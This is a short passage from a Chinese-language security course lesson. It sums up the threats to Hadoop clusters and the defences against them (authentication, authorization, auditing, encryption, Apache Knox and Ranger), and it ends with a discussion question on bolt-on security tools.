我们以Hadoop为例,详细讲解了分布式系统中的安全风险和安全措施。如果Hadoop缺乏安全保护措施,那么其中的数据就会受到威胁。黑客可以通过伪装成用户、伪装成节点或者窃听网络的方式破坏数据的CIA。
|
||||
|
||||
在防护上,我们可以通过认证、授权、审计和加密的方式,对Hadoop进行保护。除此之外,Hadoop作为成熟的开源框架,有很多公司为其打造了增强安全能力的辅助工具。我比较推荐你使用Hortonworks的Apache Knox和Apache Ranger的组合。
|
||||
|
||||
## 思考题
|
||||
|
||||
最后,我们还是来看一道思考题。
|
||||
|
||||
在Hadoop安全中,我们介绍了“外挂式”的安全工具和框架。所谓“外挂式”,即应用本身不提供足够的安全能力,而由外接的工具来提供安全能力。你可以回忆一下,你还在哪些场景中见过类似的安全模式?这个安全模式又有哪些优缺点?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
Reference in New Issue
Block a user